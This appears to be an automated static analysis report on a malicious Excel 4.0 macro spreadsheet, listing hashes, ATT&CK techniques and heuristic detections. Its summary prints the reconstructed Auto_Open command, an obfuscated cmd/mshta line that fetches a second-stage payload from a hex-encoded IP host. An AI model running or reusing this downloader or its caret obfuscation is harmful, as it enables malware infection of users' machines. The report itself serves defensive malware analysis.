Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 b4812348b2f22296…

MALICIOUS

Office (OLE) / .XLS

64.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 163cfbf9761975b5fce457cb5ee5ea52 SHA-1: 3c3510798720f60fb38d764e44fd711a3b3e3e81 SHA-256: b4812348b2f222962868199892f7562a301fad405d037f1301005369a97326fd
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: Malicious Attachment T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command, reconstructed from the obfuscated string, is 'cmd /c msh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which indicates an attempt to download a second-stage payload from the specified URL. The document body also contains a lure to enable macros and editing, which is a common social engineering tactic.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes